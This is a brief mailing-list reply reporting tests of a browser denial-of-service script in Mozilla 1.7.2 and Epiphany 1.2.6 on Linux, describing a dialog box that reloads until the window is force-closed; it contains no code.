Re: IE, Firefox, Opera DoS
Tested this in Mozilla 1.7.2 and Epiphany 1.2.6 in Linux (kernel 2.6.8,
Gentoo, Gnome 2.6.2).
Each browser comes up with a warning about running the script. The user
can chose to run it or not. Either way, a dialog box reloads over and
over until the main window is forced closed with xkill.
